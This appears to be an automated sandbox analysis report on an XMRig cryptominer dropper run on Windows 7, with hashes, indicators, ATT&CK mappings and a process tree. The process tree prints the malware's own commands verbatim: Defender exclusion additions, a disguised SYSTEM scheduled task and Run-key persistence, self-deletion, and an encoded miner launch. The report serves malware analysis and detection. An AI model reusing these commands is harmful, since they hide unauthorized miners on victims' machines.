xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
434s
max time network
1791s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2560 created 1188	2560	EtPLMpbCyFJpMJr7.exe	15
PID 2560 created 1188	2560	EtPLMpbCyFJpMJr7.exe	15
PID 2560 created 1188	2560	EtPLMpbCyFJpMJr7.exe	15
PID 2560 created 1188	2560	EtPLMpbCyFJpMJr7.exe	15
PID 2968 created 1188	2968	updater.exe	15
PID 2968 created 1188	2968	updater.exe	15
PID 2968 created 1188	2968	updater.exe	15
PID 2968 created 1188	2968	updater.exe	15
PID 752 created 1188	752	conhost.exe	15
PID 2968 created 1188	2968	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral11/memory/2588-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2588-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2720	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2968	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1980	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2588-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2588-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 752	2968	updater.exe	52
PID 2968 set thread context of 2588	2968	updater.exe	46

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	EtPLMpbCyFJpMJr7.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2632	schtasks.exe
1432	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1640	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00773a60b84fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2560	EtPLMpbCyFJpMJr7.exe
2560	EtPLMpbCyFJpMJr7.exe
2364	powershell.exe
2560	EtPLMpbCyFJpMJr7.exe
2560	EtPLMpbCyFJpMJr7.exe
1972	powershell.exe
2560	EtPLMpbCyFJpMJr7.exe
2560	EtPLMpbCyFJpMJr7.exe
2560	EtPLMpbCyFJpMJr7.exe
2560	EtPLMpbCyFJpMJr7.exe
2652	powershell.exe
2968	updater.exe
2968	updater.exe
1584	powershell.exe
2968	updater.exe
2968	updater.exe
2496	powershell.exe
2968	updater.exe
2968	updater.exe
2968	updater.exe
2968	updater.exe
752	conhost.exe
752	conhost.exe
2968	updater.exe
2968	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2968	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1640	WMIC.exe
Token: SeSecurityPrivilege	1640	WMIC.exe
Token: SeTakeOwnershipPrivilege	1640	WMIC.exe
Token: SeLoadDriverPrivilege	1640	WMIC.exe
Token: SeSystemtimePrivilege	1640	WMIC.exe
Token: SeBackupPrivilege	1640	WMIC.exe
Token: SeRestorePrivilege	1640	WMIC.exe
Token: SeShutdownPrivilege	1640	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1640	WMIC.exe
Token: SeUndockPrivilege	1640	WMIC.exe
Token: SeManageVolumePrivilege	1640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1640	WMIC.exe
Token: SeSecurityPrivilege	1640	WMIC.exe
Token: SeTakeOwnershipPrivilege	1640	WMIC.exe
Token: SeLoadDriverPrivilege	1640	WMIC.exe
Token: SeSystemtimePrivilege	1640	WMIC.exe
Token: SeBackupPrivilege	1640	WMIC.exe
Token: SeRestorePrivilege	1640	WMIC.exe
Token: SeShutdownPrivilege	1640	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1640	WMIC.exe
Token: SeUndockPrivilege	1640	WMIC.exe
Token: SeManageVolumePrivilege	1640	WMIC.exe
Token: SeLockMemoryPrivilege	2588	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 2632	1972	powershell.exe	40
PID 1972 wrote to memory of 2632	1972	powershell.exe	40
PID 1972 wrote to memory of 2632	1972	powershell.exe	40
PID 2720 wrote to memory of 2640	2720	cmd.exe	32
PID 2720 wrote to memory of 2640	2720	cmd.exe	32
PID 2720 wrote to memory of 2640	2720	cmd.exe	32
PID 2652 wrote to memory of 2124	2652	powershell.exe	35
PID 2652 wrote to memory of 2124	2652	powershell.exe	35
PID 2652 wrote to memory of 2124	2652	powershell.exe	35
PID 1980 wrote to memory of 2968	1980	taskeng.exe	34
PID 1980 wrote to memory of 2968	1980	taskeng.exe	34
PID 1980 wrote to memory of 2968	1980	taskeng.exe	34
PID 2496 wrote to memory of 1432	2496	powershell.exe	53
PID 2496 wrote to memory of 1432	2496	powershell.exe	53
PID 2496 wrote to memory of 1432	2496	powershell.exe	53
PID 2968 wrote to memory of 752	2968	updater.exe	52
PID 1644 wrote to memory of 1640	1644	cmd.exe	47
PID 1644 wrote to memory of 1640	1644	cmd.exe	47
PID 1644 wrote to memory of 1640	1644	cmd.exe	47
PID 2968 wrote to memory of 2588	2968	updater.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1188
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2632
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1432
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1568
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1644
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:752

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2640

C:\Windows\system32\taskeng.exe
taskeng.exe {A8D6B29E-7632-459A-A2FA-299DC720B74B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2968

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2124

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
233KB

MD5
ded89a1820600b59cd39680494d9ef70

SHA1
2409139c223f1d535f53cef308d42d6291328f9c

SHA256
5cbd3feb713dd3e4a8b93bf69f449d846ef36770eca1ca89b2eda461f3b32399

SHA512
d5812a5f5ef74bac1b220ff7a0204f7c120870bc489a90f7a4827827f765940c0a1c75fe63e4b8b408990db1714a8a47658d304aa04a7c5f2dcca17f17255ac6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
282KB

MD5
253d1f73c44e8aef961dc5ab6f611802

SHA1
4140b89eaa45da5f570d0b6202863e44c2f09f24

SHA256
19bad403e330b6f8c7f4e19567c43e83110cf95161c9b6aef5421ee3d1425618

SHA512
9cdf8b86f6cb4fb460483ec7b6e1667a6e90b001252ba5d8557d20569bfd6e0f6e1b2d7835ac1b3ec75c086b4ddc9be48eae4ad2e4850be32c7787e4e5111c87

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
df47a894ad23126022e5dcd5e2f01ca9

SHA1
572619ec70d837acbc53430911b1451d449be008

SHA256
11335fdb35bb784eb6911696a6e008f28cb5261a11abdd75f593fb86e9a85f29

SHA512
0856cf6b6a9bf4d18444c2e412125d9d0a08a41f451932df80f33d32fbed607d8cac847afc2a9a1d49fac598b9b9de0a1bb3452da0074558dd003f665869f9d9

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
167KB

MD5
3e6b11b88dbc51ffcc38dc17e384c97a

SHA1
5e32b8ebda3c8c8951fa54c26bb55353d75da841

SHA256
7d9cc24f52c2df2a20b335d819f002d8b90971308ec914845b1866e9e9b9b649

SHA512
5dc184ce8148a86dcc21a451caf5bec14192e813bf9e3a5715f11d45bc55d990b14bfd5b6c5f24faa3c734056201706a4621a360a92cf4acf03ed2f85247122c

Download Submit
memory/752-78-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/752-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1584-47-0x0000000001390000-0x0000000001410000-memory.dmp

Filesize
512KB

Download
memory/1584-46-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-49-0x0000000001390000-0x0000000001410000-memory.dmp

Filesize
512KB

Download
memory/1584-51-0x0000000001390000-0x0000000001410000-memory.dmp

Filesize
512KB

Download
memory/1584-48-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-50-0x0000000001390000-0x0000000001410000-memory.dmp

Filesize
512KB

Download
memory/1584-52-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-25-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1972-23-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-26-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1972-27-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-20-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-21-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1972-22-0x0000000001E40000-0x0000000001E48000-memory.dmp

Filesize
32KB

Download
memory/1972-19-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/1972-24-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/2364-5-0x000000001B430000-0x000000001B712000-memory.dmp

Filesize
2.9MB

Download
memory/2364-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-6-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/2364-13-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-8-0x00000000022A0000-0x0000000002320000-memory.dmp

Filesize
512KB

Download
memory/2364-10-0x00000000022A0000-0x0000000002320000-memory.dmp

Filesize
512KB

Download
memory/2364-9-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-11-0x00000000022A0000-0x0000000002320000-memory.dmp

Filesize
512KB

Download
memory/2364-12-0x00000000022A0000-0x0000000002320000-memory.dmp

Filesize
512KB

Download
memory/2496-53-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2496-57-0x0000000001490000-0x0000000001510000-memory.dmp

Filesize
512KB

Download
memory/2496-56-0x0000000001490000-0x0000000001510000-memory.dmp

Filesize
512KB

Download
memory/2496-55-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2496-54-0x0000000001490000-0x0000000001510000-memory.dmp

Filesize
512KB

Download
memory/2496-58-0x0000000001490000-0x0000000001510000-memory.dmp

Filesize
512KB

Download
memory/2496-59-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-0-0x000000013F130000-0x000000013F341000-memory.dmp

Filesize
2.1MB

Download
memory/2560-29-0x000000013F130000-0x000000013F341000-memory.dmp

Filesize
2.1MB

Download
memory/2588-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-68-0x0000000000310000-0x0000000000330000-memory.dmp

Filesize
128KB

Download
memory/2588-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-69-0x0000000000870000-0x0000000000890000-memory.dmp

Filesize
128KB

Download
memory/2588-70-0x00000000008B0000-0x00000000008D0000-memory.dmp

Filesize
128KB

Download
memory/2588-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-76-0x0000000000870000-0x0000000000890000-memory.dmp

Filesize
128KB

Download
memory/2588-77-0x00000000008B0000-0x00000000008D0000-memory.dmp

Filesize
128KB

Download
memory/2588-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2588-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

